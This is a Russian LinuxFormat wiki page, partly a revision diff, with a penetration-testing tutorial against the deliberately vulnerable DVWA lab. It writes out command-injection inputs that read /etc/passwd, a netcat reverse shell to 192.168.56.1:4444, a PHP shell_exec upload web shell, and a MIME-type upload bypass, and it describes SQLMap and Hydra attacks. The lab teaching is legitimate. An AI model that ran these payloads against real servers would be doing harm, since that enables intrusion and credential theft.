Журнал LinuxFormat - перейти на главную

LXF167:Внедрять­ся в сер­вер

Материал из Linuxformat
(Различия между версиями)
Перейти к: навигация, поиск
(Новая страница: «Категория:Школа LXF Безо­пас­ность. Осоз­най­те трю­ки злых хакеров и храни­те свои се…»)
 
(Вы­полнение ко­ман­ды)
 
(не показаны 3 промежуточные версии 1 участника)
Строка 58: Строка 58:
 
По­чув­ст­во­вав се­бя уве­рен­но, по­высь­те уро­вень безо­пас­но­сти до среднего и по­вто­ри­те по­пыт­ку. Сра­бо­та­ет тот же прин­цип, но... ведь весь смысл тес­тов на втор­жение – в уп­ражнении на до­гад­ли­вость, так что по­про­буй­те-ка са­ми. По­смот­ри­те Со­вет 1 – или Ре­шение 1 на по­следней странице, ес­ли вам нуж­ны под­сказ­ки. Конеч­но, та­кую функ­цию име­ют немно­гие сай­ты.
 
По­чув­ст­во­вав се­бя уве­рен­но, по­высь­те уро­вень безо­пас­но­сти до среднего и по­вто­ри­те по­пыт­ку. Сра­бо­та­ет тот же прин­цип, но... ведь весь смысл тес­тов на втор­жение – в уп­ражнении на до­гад­ли­вость, так что по­про­буй­те-ка са­ми. По­смот­ри­те Со­вет 1 – или Ре­шение 1 на по­следней странице, ес­ли вам нуж­ны под­сказ­ки. Конеч­но, та­кую функ­цию име­ют немно­гие сай­ты.
 
{Врезка|right|Ширина=40%|Заголовок=Mutillidae |Содержание= Еще од­но из уяз­ви­мых web-при­ло­жений, вклю­чен­ных в Metasploitable – Mutillidae. Ес­ли вы сле­ди­ли за на­шим цик­лом по безо­пас­но­сти, вы долж­ны бы­ли на­брать­ся доста­точ­но знаний, что­бы ата­ко­вать его – ну, поч­ти доста­точ­но. Но сна­ча­ла там на­до ис­пра­вить ошиб­ку в кон­фи­гу­ра­ции. Вой­ди­те в вир­ту­аль­ную ма­ши­ну Metasploitable че­рез msfadmin/msfadmin и вы­полните cd /var/www/mutillidae. От­крой­те от имени су­пер­поль­зо­ва­теля config.inc в тек­сто­вом ре­дак­то­ре, на­при­мер:
 
{Врезка|right|Ширина=40%|Заголовок=Mutillidae |Содержание= Еще од­но из уяз­ви­мых web-при­ло­жений, вклю­чен­ных в Metasploitable – Mutillidae. Ес­ли вы сле­ди­ли за на­шим цик­лом по безо­пас­но­сти, вы долж­ны бы­ли на­брать­ся доста­точ­но знаний, что­бы ата­ко­вать его – ну, поч­ти доста­точ­но. Но сна­ча­ла там на­до ис­пра­вить ошиб­ку в кон­фи­гу­ра­ции. Вой­ди­те в вир­ту­аль­ную ма­ши­ну Metasploitable че­рез msfadmin/msfadmin и вы­полните cd /var/www/mutillidae. От­крой­те от имени су­пер­поль­зо­ва­теля config.inc в тек­сто­вом ре­дак­то­ре, на­при­мер:
 
+
{{Врезка|left|Ширина=10%|Заголовок= Скорая помощь|Содержание=Со­вет 1 Вы­яс­ни­те, ка­кие сим­во­лы бло­ки­ру­ют­ся сис­те­мой. }}
 
sudo nano config.inc
 
sudo nano config.inc
  
Строка 70: Строка 70:
  
 
По­сле со­хранения фай­ла (в nano — Ctrl + X, ‘Y’) Mutillidae долж­но ра­бо­тать нор­маль­но. Оно по­строе­но во­круг са­мых рас­про­странен­ных се­те­вых уяз­ви­мо­стей, и там мно­го спо­со­бов проник­нуть внутрь.}}
 
По­сле со­хранения фай­ла (в nano — Ctrl + X, ‘Y’) Mutillidae долж­но ра­бо­тать нор­маль­но. Оно по­строе­но во­круг са­мых рас­про­странен­ных се­те­вых уяз­ви­мо­стей, и там мно­го спо­со­бов проник­нуть внутрь.}}
{{Врезка|left|Ширина=40%|Заголовок= Скорая помощь|Содержание=Со­вет 1 Вы­яс­ни­те, ка­кие сим­во­лы бло­ки­ру­ют­ся сис­те­мой. }}
 
Те­перь рас­смот­рим об­щий взгляд – за­груз­ку изо­бра­жений. Эта уяз­ви­мость возника­ет из-за спо­со­ба ра­бо­ты ди­на­ми­че­­­ских web-язы­ков. Ес­ли сайт со­сто­ит из ста­ти­че­­­ских страниц, то при за­про­се страницы web-сер­вер про­сто на­хо­дит файл, со­от­вет­ст­­вую­щий странице, и от­прав­ля­ет его нам. Од­на­ко для web-сер­ве­ра с ис­поль­зо­ванием язы­ка про­грам­ми­ро­вания, на­при­мер, PHP, это про­ис­хо­дит немно­го ина­че: при за­про­се страницы сер­вер на­хо­дит со­от­вет­ст­­вую­щий странице скрипт, за­пуска­ет его и по­сы­ла­ет нам его вы­вод (это и бу­дет HTML, ко­то­рый ото­бра­зит­ся в брау­зе­ре).
 
  
 +
Те­перь рас­смот­рим об­щий взгляд – за­груз­ку изо­бра­жений. Эта уяз­ви­мость возника­ет из-за спо­со­ба ра­бо­ты ди­на­ми­че­­­ских web-язы­ков.
 +
{{Врезка|left|Ширина=40%|Заголовок=Ос­та­ва­ясь в рам­ках за­ко­на |Содержание=Пра­виль­ное при­менение по­ка­зан­ных здесь ме­то­дов – про­вер­ка, что сер­ве­ры бы­ли и оста­ют­ся мак­си­маль­но безо­пас­ны­ми. Од­на­ко при без­от­вет­ст­вен­ном ис­поль­зо­вании они яв­ля­ют­ся неза­кон­ны­ми.
 +
 +
Вы мо­же­те без про­блем ис­поль­зо­вать их так, как здесь опи­са­но – на­па­дая на вир­ту­аль­ную ма­ши­ну на сво­ем ком­пь­ю­те­ре. Для ата­ки ма­ши­ны в се­ти уже необ­хо­ди­мо раз­ре­шение (ес­ли это не ва­ша до­маш­няя сеть). Да­же ес­ли вы де­лае­те это для ком­пании, где ра­бо­тае­те, по­лу­чи­те пись­мен­ное раз­ре­шение, пре­ж­де чем на­чать, что­бы нель­зя бы­ло ска­зать, что вы де­лае­те это с вредноносным умыслом.
 +
 +
По­ми­мо мо­раль­ных до­во­дов – мы не да­ли ин­фор­ма­ции о том, как со­хранить аноним­ность при ра­бо­те с эти­ми ата­ка­ми. Применяя их зло­на­ме­рен­но, вы мо­же­те уго­дить в тюрь­му. Вот и не де­лай­те это­го.}}
 +
 +
Ес­ли сайт со­сто­ит из ста­ти­че­­­ских страниц, то при за­про­се страницы web-сер­вер про­сто на­хо­дит файл, со­от­вет­ст­­вую­щий странице, и от­прав­ля­ет его нам. Од­на­ко для web-сер­ве­ра с ис­поль­зо­ванием язы­ка про­грам­ми­ро­вания, на­при­мер, PHP, это про­ис­хо­дит немно­го ина­че: при за­про­се страницы сер­вер на­хо­дит со­от­вет­ст­­вую­щий странице скрипт, за­пуска­ет его и по­сы­ла­ет нам его вы­вод (это и бу­дет HTML, ко­то­рый ото­бра­зит­ся в брау­зе­ре).
 +
{{Врезка|left|Ширина=10%|Заголовок=  Скорая помощь|Содержание=Со­вет 2 Вам по­на­до­бит­ся до­пол­ни­тель­ный нстру­мент. Мы ис­поль­зо­ва­ли Tamper Data, рас­ши­ре­ние Firefox.
 +
}}
 
От­крой­те тек­сто­вый ре­дак­тор и соз­дай­те но­вый файл, со­дер­жа­щий
 
От­крой­те тек­сто­вый ре­дак­тор и соз­дай­те но­вый файл, со­дер­жа­щий
  
Строка 97: Строка 105:
 
Сде­лав это, вы долж­ны за­пустить слу­ша­тель nc на ма­шине, как в пре­ды­ду­щей ата­ке, за­тем за­гру­зить файл как с пре­ды­ду­щим скрип­том PHP. Те­перь у вас дол­жен быть доступ к обо­лоч­ке сер­ве­ра. Чув­ст­вуя се­бя уве­рен­но? Ус­та­но­ви­те уро­вень безо­пас­но­сти в Medium и по­про­буй­те сно­ва. Со­вет 2 и Ре­шение 2 к ва­шим услу­гам, как и рань­ше.
 
Сде­лав это, вы долж­ны за­пустить слу­ша­тель nc на ма­шине, как в пре­ды­ду­щей ата­ке, за­тем за­гру­зить файл как с пре­ды­ду­щим скрип­том PHP. Те­перь у вас дол­жен быть доступ к обо­лоч­ке сер­ве­ра. Чув­ст­вуя се­бя уве­рен­но? Ус­та­но­ви­те уро­вень безо­пас­но­сти в Medium и по­про­буй­те сно­ва. Со­вет 2 и Ре­шение 2 к ва­шим услу­гам, как и рань­ше.
  
Ку­вал­дой
+
===Ку­вал­дой===
  
 
В рас­по­ря­жении тес­ти­ров­щи­ка есть ог­ром­ное ко­ли­че­­ст­во спо­со­бов, а чис­ло из­вест­ных уяз­ви­мо­стей, ко­то­ры­ми мож­но восполь­зо­вать­ся, из­ме­ря­ет­ся де­сят­ка­ми ты­сяч (толь­ко в ар­хи­ве www.exploit-db.com их поч­ти 20 000). Ес­те­ст­вен­но, ни один взлом­щик все их не упомнит. В пре­ды­ду­щей час­ти это­го уро­ка мы рас­смот­ре­ли SQL-инъ­ек­ции и на их при­менение для кра­жи дан­ных из ба­зы. На сей раз мы со­би­ра­ем­ся упот­ре­бить ав­то­ма­ти­зи­ро­ван­ный ин­ст­ру­мент, ко­то­рый сде­лает все это за нас. Вы, ско­рее все­го, не най­де­те SQLMap в ре­по­зи­то­ри­ях ва­ше­го ди­ст­ри­бу­ти­ва, но его мож­но ска­чать с www.sqlmap.org или взять с DVD. Это скрипт на Python, и его не нуж­но уста­нав­ли­вать. Про­сто рас­па­куй­те его, от­крой­те тер­ми­нал в но­вом ка­та­ло­ге и за­пусти­те ./sqlmap.py; но следует немно­го раз­жить­ся ин­фор­ма­ци­ей, пре­ж­де чем мы смо­жем на­стро­ить его для ра­бо­ты.
 
В рас­по­ря­жении тес­ти­ров­щи­ка есть ог­ром­ное ко­ли­че­­ст­во спо­со­бов, а чис­ло из­вест­ных уяз­ви­мо­стей, ко­то­ры­ми мож­но восполь­зо­вать­ся, из­ме­ря­ет­ся де­сят­ка­ми ты­сяч (толь­ко в ар­хи­ве www.exploit-db.com их поч­ти 20 000). Ес­те­ст­вен­но, ни один взлом­щик все их не упомнит. В пре­ды­ду­щей час­ти это­го уро­ка мы рас­смот­ре­ли SQL-инъ­ек­ции и на их при­менение для кра­жи дан­ных из ба­зы. На сей раз мы со­би­ра­ем­ся упот­ре­бить ав­то­ма­ти­зи­ро­ван­ный ин­ст­ру­мент, ко­то­рый сде­лает все это за нас. Вы, ско­рее все­го, не най­де­те SQLMap в ре­по­зи­то­ри­ях ва­ше­го ди­ст­ри­бу­ти­ва, но его мож­но ска­чать с www.sqlmap.org или взять с DVD. Это скрипт на Python, и его не нуж­но уста­нав­ли­вать. Про­сто рас­па­куй­те его, от­крой­те тер­ми­нал в но­вом ка­та­ло­ге и за­пусти­те ./sqlmap.py; но следует немно­го раз­жить­ся ин­фор­ма­ци­ей, пре­ж­де чем мы смо­жем на­стро­ить его для ра­бо­ты.
Строка 115: Строка 123:
 
У SQLMap есть мно­же­ст­во дру­гих оп­ций, на ко­то­рые у нас здесь нет мес­та. Под­роб­но­сти ищи­те в ./sqlmap --help.
 
У SQLMap есть мно­же­ст­во дру­гих оп­ций, на ко­то­рые у нас здесь нет мес­та. Под­роб­но­сти ищи­те в ./sqlmap --help.
  
Гру­бая си­ла
+
===Гру­бая си­ла===
 
+
 
Не все web-при­ло­жения бу­дут на­столь­ко лю­без­ны, что­бы пре­доста­вить нам вход че­рез SQL-инъ­ек­ции. Иногда един­ст­вен­ный спо­соб взло­ма – это ста­рая до­б­рая ло­бо­вая ата­ка. Вы­ше мы уви­де­ли, как мож­но бы­ст­ро взло­мать учет­ные за­пи­си, имея доступ к хэ­шам. В но­вой ата­ке мы бу­дем ис­поль­зо­вать Hydra, ин­ст­ру­мент гру­бо­го взло­ма се­ти, что­бы по­пы­тать­ся про­рвать­ся внутрь web-страницы. Это од­на из наи­менее слож­ных ха­кер­ских ути­лит: она все­го-на­все­го пе­ре­би­ра­ет раз­лич­ные ком­би­на­ции имя поль­зо­ва­те­ля/па­роль вплоть до успе­ха. Вам по­на­до­бить­ся PHPSESSID (он мо­жет уста­реть, так что убе­ди­тесь, что ваш оста­ет­ся в си­ле, ес­ли вы за­кон­чи­ли пре­ды­ду­щую ата­ку неко­то­рое вре­мя на­зад).
 
Не все web-при­ло­жения бу­дут на­столь­ко лю­без­ны, что­бы пре­доста­вить нам вход че­рез SQL-инъ­ек­ции. Иногда един­ст­вен­ный спо­соб взло­ма – это ста­рая до­б­рая ло­бо­вая ата­ка. Вы­ше мы уви­де­ли, как мож­но бы­ст­ро взло­мать учет­ные за­пи­си, имея доступ к хэ­шам. В но­вой ата­ке мы бу­дем ис­поль­зо­вать Hydra, ин­ст­ру­мент гру­бо­го взло­ма се­ти, что­бы по­пы­тать­ся про­рвать­ся внутрь web-страницы. Это од­на из наи­менее слож­ных ха­кер­ских ути­лит: она все­го-на­все­го пе­ре­би­ра­ет раз­лич­ные ком­би­на­ции имя поль­зо­ва­те­ля/па­роль вплоть до успе­ха. Вам по­на­до­бить­ся PHPSESSID (он мо­жет уста­реть, так что убе­ди­тесь, что ваш оста­ет­ся в си­ле, ес­ли вы за­кон­чи­ли пре­ды­ду­щую ата­ку неко­то­рое вре­мя на­зад).
  
Строка 135: Строка 142:
 
На этот раз ко­ман­да немно­го по­нятнее. Флаг -e nsr ве­лит Hydra по­ми­мо па­ро­ля из фай­ла про­бо­вать пустой па­роль, а так­же сов­па­даю­щий с именем поль­зо­ва­те­ля и пе­ре­вер­ну­тым именем поль­зо­ва­те­ля. Hydra слиш­ком мед­лен­на для ре­аль­ных шан­сов по­доб­рать хо­тя бы от­но­си­тель­но безо­пас­ный па­роль за ра­зум­ное вре­мя. Од­на­ко ста­ти­сти­ка по­ка­зы­ва­ет, что боль­шин­ство лю­дей ис­поль­зу­ет небезо­пас­ные па­ро­ли, и при на­ли­чии спи­ска имен поль­зо­ва­те­лей есть хо­ро­шие шан­сы проник­нуть в сис­те­му.
 
На этот раз ко­ман­да немно­го по­нятнее. Флаг -e nsr ве­лит Hydra по­ми­мо па­ро­ля из фай­ла про­бо­вать пустой па­роль, а так­же сов­па­даю­щий с именем поль­зо­ва­те­ля и пе­ре­вер­ну­тым именем поль­зо­ва­те­ля. Hydra слиш­ком мед­лен­на для ре­аль­ных шан­сов по­доб­рать хо­тя бы от­но­си­тель­но безо­пас­ный па­роль за ра­зум­ное вре­мя. Од­на­ко ста­ти­сти­ка по­ка­зы­ва­ет, что боль­шин­ство лю­дей ис­поль­зу­ет небезо­пас­ные па­ро­ли, и при на­ли­чии спи­ска имен поль­зо­ва­те­лей есть хо­ро­шие шан­сы проник­нуть в сис­те­му.
  
Как за­щи­тить се­бя
+
===Как за­щи­тить се­бя===
 +
{{Врезка|right|Ширина=40%|Заголовок= Со­ве­ты и ре­ше­ния|Содержание='''Ре­ше­ние 1:'''
 +
 
 +
192.168.56.1 & nc –c /bin/sh 192.168.56.1 4444
 +
 
 +
'''Ре­ше­ние 2:'''
 +
 
 +
Про­стой от­вет та­кой: нуж­но пе­ре­хва­тить HTTP-за­прос и из­менить MIME-тип так, что­бы сер­вер ду­мал, что это изо­бра­жение (на­при­мер, image/jpeg). Мы сде­ла­ли это с по­мо­щью Tamper Data [под­де­лать дан­ные), рас­ши­рения Firefox, так что вам по­тре­бу­ет­ся спер­ва уста­но­вить его и пе­ре­за­пустить Firefox.
 +
 
 +
Зай­ди­те в ме­ню Ин­ст­ру­мен­ты [Tools] > Tamper Data и на­жми­те Start Tamper. Те­перь за­гру­зи­те файл, как рань­ше. На­жав Upload, вы по­лу­чи­те всплы­ваю­щее ок­но с во­про­сом, хо­ти­те ли вы под­де­лать за­прос. На­жми­те Tamper. В раз­де­ле Па­ра­мет­ры со­об­щения, из­мените тек­сто­вое по­ле POST_DATA, за­менив application/x-php на image/jpeg (ско­пи­руй­те весь текст в тек­сто­вый ре­дак­тор, ес­ли вам так удобнее) и на­жми­те OK. Это долж­но успеш­но за­гру­зить файл.
  
 +
Те­перь вы мо­же­те пе­ре­клю­чить­ся об­рат­но в ок­но Tamper Data Firefox и на­жать кноп­ку Stop Tamper, что­бы не по­лу­чать со­об­щений Tamper.
 +
}}
 
Мы ви­де­ли, как без­обид­ные осо­бен­но­сти сай­та мо­гут сде­лать сер­вер уяз­ви­мым. Эти ата­ки мо­гут сра­бо­тать, да­же ес­ли вы ис­поль­зуе­те са­мые со­вре­мен­ные вер­сии сер­вер­но­го про­грамм­но­го обес­пе­чения, по­сколь­ку уяз­ви­мо­сти на­хо­дят­ся в web-при­ло­жениях, а не в сер­ве­рах. На­ли­чие неко­то­рых из этих уяз­ви­мо­стей мож­но про­ве­рить ав­то­ма­ти­че­­ски, и мы ви­дим жур­на­лы tuxradar.com, пол­ные пре­ду­пре­ж­дений о по­пыт­ках за­пустить атак опи­сан­но­го здесь ти­па.
 
Мы ви­де­ли, как без­обид­ные осо­бен­но­сти сай­та мо­гут сде­лать сер­вер уяз­ви­мым. Эти ата­ки мо­гут сра­бо­тать, да­же ес­ли вы ис­поль­зуе­те са­мые со­вре­мен­ные вер­сии сер­вер­но­го про­грамм­но­го обес­пе­чения, по­сколь­ку уяз­ви­мо­сти на­хо­дят­ся в web-при­ло­жениях, а не в сер­ве­рах. На­ли­чие неко­то­рых из этих уяз­ви­мо­стей мож­но про­ве­рить ав­то­ма­ти­че­­ски, и мы ви­дим жур­на­лы tuxradar.com, пол­ные пре­ду­пре­ж­дений о по­пыт­ках за­пустить атак опи­сан­но­го здесь ти­па.
  

Текущая версия на 09:15, 9 ноября 2018

Безо­пас­ность. Осоз­най­те трю­ки злых хакеров и храни­те свои сер­ве­ры в це­ло­сти


Содержание

[править] DVWA: Взлом web-при­ло­же­ний

На све­те мно­го людей, вле­заю­щих в web-при­ло­же­ния по­те­хи ра­ди и для за­ра­бот­ка. Бен Эве­рард по­ка­жет, как они но­ро­вят упот­реб­лять сай­ты.

(thumbnail)
Наш эксперт Бен Эве­рард ос­та­вил свою ра­бо­ту ИТ-кон­суль­тан­та, что­бы про­вес­ти два го­да в Тан­за­нии, ус­та­нав­ли­вая в шко­лах сис­те­мы на ба­зе Ubuntu. Те­перь он при­ме­ня­ет свои на­вы­ки в бур­ля­щем кот­ле ис­сле­до­ва­ний Ба­шен Linux Format.

Как бое­вые ис­ку­ст­ва мож­но при­ме­нять для са­мо­за­щи­ты, так и на­вы­ки взло­ма при­го­дят­ся для иден­ти­фи­ка­ции сла­бых мест ва­ших сер­ве­ров и их за­щи­ты. Сла­бые мес­та есть у лю­бой ком­пь­ю­тер­ной сис­те­мы; ис­кусст­во за­клю­ча­ет­ся в том, что­бы най­ти их рань­ше взлом­щи­ка. Во вто­рой час­ти на­ше­го кур­са чер­ной ма­гии мы рас­смот­рим web-при­ло­жения и вно­си­мые ими по­тен­ци­аль­ные опас­но­сти.

Web-при­ло­жения – бла­го­дат­ная поч­ва для уяз­ви­мо­стей, так как им уде­ля­ют мень­ше внимания, чем дру­гим об­лас­тям. К при­ме­ру, сотни – ес­ли не ты­ся­чи – лю­дей ви­де­ли ис­ход­ный код Apache и ра­бо­та­ли с ним, то есть он от­лич­но изу­чен на пред­мет оши­бок. А сколь­ко лю­дей ви­де­ли ис­ход­ный код среднего web-прило­жения? 10? 20? Мень­ше? При взрыв­ном росте чис­ла лю­дей, име­ную­щих се­бя web-раз­ра­бот­чи­ка­ми, мно­гие ли из них дей­ст­ви­тель­но раз­би­ра­ют­ся в прак­ти­ке безо­пас­но­го про­грам­ми­ро­вания?

Для вы­яв­ления воз­мож­ных про­блем безо­пас­но­сти су­ще­ст­ву­ют спе­ци­аль­но раз­ра­бо­тан­ные web-при­ло­жения. Ранее, в LXF159, мы рас­смот­ре­ли WebGoat, а сей­час со­би­ра­ем­ся ис­поль­зо­вать Damn Vulnerable Web Application [Чер­тов­ски уяз­ви­мое web-при­ло­жение], DVWA. В от­ли­чие от WebGoat, это не на­бор уро­ков, а неза­щи­щен­ный сайт, и на нем мы бу­дем от­та­чи­вать на­ши на­вы­ки.

Пер­вый шаг – за­ста­вить его ра­бо­тать. Мо­же­те на­стро­ить сер­вер на сво­ей ма­шине и за­пустить его локаль­но, но мы-то за­пустим его на вир­ту­аль­ной ма­шине Metasploitable, ко­то­рую мож­но ска­чать c www.sourceforge.net/projects/metasploitable. Так­же вам по­на­до­бит­ся VirtualBox, на­вер­ня­ка имею­щий­ся в ре­по­зи­то­рии ва­ше­го ди­ст­ри­бу­ти­ва. За­гру­зив его, сле­дуй­те по­ша­го­вым ин­ст­рук­ци­ям, что­бы ва­ша сис­те­ма за­ра­бо­та­ла.

Ес­ли все в по­ряд­ке, вы смо­же­те за­пустить брау­зер и вве­сти ад­рес http://192.168.56.101 (ес­ли он уже есть в ва­шей локаль­ной се­ти, на­до бу­дет из­менить на­строй­ки VirtualBox) и по­лу­чить спи­сок доступ­ных web-при­ло­жений. Щелкните на DVWA и вой­ди­те как admin:password.

В DVWA три уров­ня безо­пас­но­сти. Уро­вень Low [Низ­кий] – са­мый лег­кий, его мы и бу­дем ис­поль­зо­вать для на­ча­ла (на­жми­те на DVWA Security [Безо­пас­ность], за­тем вы­бе­ри­те Low и на­жми­те Submit [Под­твер­дить]). Medium [Средний] при­зван дать вам за­да­чу по­сложнее, по­сле изу­чения основ. Вы­со­кий [High] пред­на­зна­чен для де­мон­ст­ра­ции хо­ро­шей прак­ти­ки ко­ди­ро­вания – пред­на­ме­рен­но в нем уяз­ви­мо­сти не за­ло­же­ны (ра­зу­ме­ет­ся, это не оз­на­ча­ет, что их здесь нет).

[править] Вы­полнение ко­ман­ды

Пер­вая функ­ция, ко­то­рую мы ата­ку­ем – Вы­полнение ко­ман­ды [Command execution]. Вы­брав этот пункт, вы най­де­те web-при­ло­жение, по­зво­ляю­щее пин­го­вать дру­гие ма­ши­ны. По­про­буй­те его, вве­дя IP-ад­рес хоста (192.168.56.1, ес­ли вы ис­поль­зо­ва­ли на­стройки по умол­чанию). При­ло­жение ра­бо­та­ет, пе­ре­да­вая ввод ко­ман­де ping. Са­ма по се­бе, ping не осо­бо по­лез­на для нас, но она пре­достав­ля­ет доступ к команд­ной стро­ке. Ес­ли мы вве­дем 192.168.56.1; pwd, сис­те­ма вы­полнит:

ping 192.168.56.1; pwd

и вы­ве­дет ре­зуль­тат на эк­ран. В дан­ном слу­чае мы уви­дим те­ку­щий ка­та­лог. Уже непло­хо, что­бы оты­скать кон­крет­ные фай­лы, но мы, ра­зу­ме­ет­ся, ме­тим вы­ше. На­при­мер, мож­но по­лу­чить спи­сок всех поль­зо­ва­те­лей в сис­те­ме:

192.168.56.1; cat /etc/passwd | cut -d: -f1

Чуть поз­же мы при­меним этот при­ем для ата­ки гру­бой си­лой [brute force].

Ме­тод вво­да команд че­рез ping-ин­тер­фейс мож­но бы и раз­вить, но он не слиш­ком удо­бен. Нам бы на­мно­го по­лег­ча­ло, имей мы доступ к обо­лоч­ке. У нас нет пол­но­мо­чий на вход в сис­те­му, по­это­му хо­ро­шо бы за­пустить на сер­ве­ре ко­ман­ду, ко­то­рая со­единит­ся с на­шей локаль­ной ма­ши­ной и вы­даст нам доступ. Это на­зы­ва­ет­ся обо­лоч­кой-обо­ротнем [reverse shell], так как ра­бо­та­ет в на­прав­лении, про­ти­во­по­лож­ном нор­маль­ным обо­лоч­кам вро­де SSH или Telnet. Есть несколь­ко спо­со­бов это­го до­бить­ся (неко­то­рые лю­ди да­же пре­вра­ти­ли это в фор­му ис­кусст­ва), но мы возь­мем са­мый про­стой: че­рез nc.

Это про­стая ко­ман­да для от­прав­ки дан­ных че­рез се­те­вое со­единение. Мы мо­жем ис­поль­зо­вать ее для от­прав­ки вво­да и вы­вода обо­лоч­ки на дру­гую ма­ши­ну. Пе­ред за­пуском че­го-ли­бо на ма­шине жерт­вы, мы долж­ны про­слу­шать вхо­дя­щие со­единения. На сво­ем хосте вы­полните

nc -l -v 4444

4444 – это порт, ко­то­рый мы ис­поль­зу­ем. Порт мо­жет быть лю­бым, ес­ли он не кон­флик­ту­ет с дру­ги­ми сер­вер­ны­ми при­ло­жения­ми, но оди­на­ко­вым на обе­их ма­ши­нах.

Те­перь по­сле ping вве­ди­те

192.156.56.1; nc -c /bin/sh 192.168.56.1 4444

Флаг -c ве­лит nc вы­полнить ко­ман­ду /bin/sh. Бу­ду­чи зияю­щей ды­рой в безо­пас­но­сти, эта оп­ция долж­на быть от­клю­че­на на всех про­мыш­лен­ных сер­ве­рах.

На ва­шей ма­ши­не вы уви­ди­те стро­ку:

Connection from 192.168.56.101 port 4444 [tcp/krb524] accepted

[Под­клю­че­ние от 192.168.56.101 порт 4444 [tcp/krb524] при­ня­то]

Те­перь все вво­ди­мые ва­ми ко­ман­ды бу­дут ра­бо­тать на ма­шине-жерт­ве. Вы­полните whoami, что­бы про­ве­рить это.

Ес­ли вы об­на­ру­жи­те, что в nc ниче­го не при­хо­дит, воз­мож­но, де­ло в бранд­мау­эре на ва­шей ма­шине. Об­ра­ти­тесь к до­ку­мен­та­ции ва­ше­го ди­ст­ри­бу­ти­ва, что­бы уз­нать, как вре­мен­но от­клю­чить брандмауэр.

По­чув­ст­во­вав се­бя уве­рен­но, по­высь­те уро­вень безо­пас­но­сти до среднего и по­вто­ри­те по­пыт­ку. Сра­бо­та­ет тот же прин­цип, но... ведь весь смысл тес­тов на втор­жение – в уп­ражнении на до­гад­ли­вость, так что по­про­буй­те-ка са­ми. По­смот­ри­те Со­вет 1 – или Ре­шение 1 на по­следней странице, ес­ли вам нуж­ны под­сказ­ки. Конеч­но, та­кую функ­цию име­ют немно­гие сай­ты. {Врезка|right|Ширина=40%|Заголовок=Mutillidae |Содержание= Еще од­но из уяз­ви­мых web-при­ло­жений, вклю­чен­ных в Metasploitable – Mutillidae. Ес­ли вы сле­ди­ли за на­шим цик­лом по безо­пас­но­сти, вы долж­ны бы­ли на­брать­ся доста­точ­но знаний, что­бы ата­ко­вать его – ну, поч­ти доста­точ­но. Но сна­ча­ла там на­до ис­пра­вить ошиб­ку в кон­фи­гу­ра­ции. Вой­ди­те в вир­ту­аль­ную ма­ши­ну Metasploitable че­рез msfadmin/msfadmin и вы­полните cd /var/www/mutillidae. От­крой­те от имени су­пер­поль­зо­ва­теля config.inc в тек­сто­вом ре­дак­то­ре, на­при­мер:

sudo nano config.inc

и из­ме­ни­те стро­ку

$dbname = ‘metasploitable’;

на

$dbname = ‘owasp10’;

По­сле со­хранения фай­ла (в nano — Ctrl + X, ‘Y’) Mutillidae долж­но ра­бо­тать нор­маль­но. Оно по­строе­но во­круг са­мых рас­про­странен­ных се­те­вых уяз­ви­мо­стей, и там мно­го спо­со­бов проник­нуть внутрь.}}

Те­перь рас­смот­рим об­щий взгляд – за­груз­ку изо­бра­жений. Эта уяз­ви­мость возника­ет из-за спо­со­ба ра­бо­ты ди­на­ми­че­­­ских web-язы­ков.

Ес­ли сайт со­сто­ит из ста­ти­че­­­ских страниц, то при за­про­се страницы web-сер­вер про­сто на­хо­дит файл, со­от­вет­ст­­вую­щий странице, и от­прав­ля­ет его нам. Од­на­ко для web-сер­ве­ра с ис­поль­зо­ванием язы­ка про­грам­ми­ро­вания, на­при­мер, PHP, это про­ис­хо­дит немно­го ина­че: при за­про­се страницы сер­вер на­хо­дит со­от­вет­ст­­вую­щий странице скрипт, за­пуска­ет его и по­сы­ла­ет нам его вы­вод (это и бу­дет HTML, ко­то­рый ото­бра­зит­ся в брау­зе­ре).

От­крой­те тек­сто­вый ре­дак­тор и соз­дай­те но­вый файл, со­дер­жа­щий

<?php

$output = shell_exec(‘cat /etc/passwd’);

echo $output;

?>

Мы мо­жем ис­поль­зо­вать функ­цию shell_exec для за­пуска лю­бых команд. Здесь мы с ее по­мо­щью до­бы­ли со­дер­жи­мое /etc/passwd.

Пе­рей­ди­те на страницу за­груз­ки [Upload] в DVWA, на­жми­те на Browse [Про­смотр], вы­бе­ри­те файл и на­жми­те За­гру­зить [Upload]. Ес­ли все пой­дет хо­ро­шо, вы уви­ди­те крас­ное со­об­щение о том, что файл был за­гру­жен успеш­но и ку­да он был за­гру­жен. Для за­пуска скрип­та нам оста­лось толь­ко на­це­лить брау­зер на этот ад­рес. К при­ме­ру, ес­ли вы на­зва­ли файл mal.php, от­крой­те http://192.168.56.101/hackable/uploads/mal.php.

Как и в пре­ды­ду­щем слу­чае, мы мог­ли бы про­дол­жать за­пуск команд по­доб­ным об­ра­зом, но удоб­ст­ва тут ма­ло. Луч­ший ва­ри­ант – по­лу­чить об­рат­ную обо­лоч­ку. Хо­ро­шие тес­ти­ров­щи­ки втор­жений, как и все хо­ро­шие ко­де­ры, ленивы; вот и мы не хо­тим пи­сать соб­ст­вен­ного об­орот­ня, ес­ли кто-то уже сде­лал чер­ную ра­бо­ту за нас. На www.pentestmonkey.com есть несколь­ко по­лез­ных нам ин­ст­ру­мен­тов, вклю­чая об­рат­ную обо­лоч­ку PHP. Вы мо­же­те ска­чать ее с сай­та или взять с на­ше­го DVD. Пе­ред за­груз­кой на сер­вер на­строй­те ее для ва­шей сре­ды. Рас­па­куй­те ее и от­крой­те php-reverse-shell.php в тек­сто­вом ре­дак­то­ре. За­мените стро­ки 49 и 50 та­ки­ми:

$ip = ‘192.168.56.1’;

$port = 4444;

а точнее, зна­че­ния­ми, со­от­вет­ст­вую­щи­ми ва­шей ус­та­нов­ке.

Сде­лав это, вы долж­ны за­пустить слу­ша­тель nc на ма­шине, как в пре­ды­ду­щей ата­ке, за­тем за­гру­зить файл как с пре­ды­ду­щим скрип­том PHP. Те­перь у вас дол­жен быть доступ к обо­лоч­ке сер­ве­ра. Чув­ст­вуя се­бя уве­рен­но? Ус­та­но­ви­те уро­вень безо­пас­но­сти в Medium и по­про­буй­те сно­ва. Со­вет 2 и Ре­шение 2 к ва­шим услу­гам, как и рань­ше.

[править] Ку­вал­дой

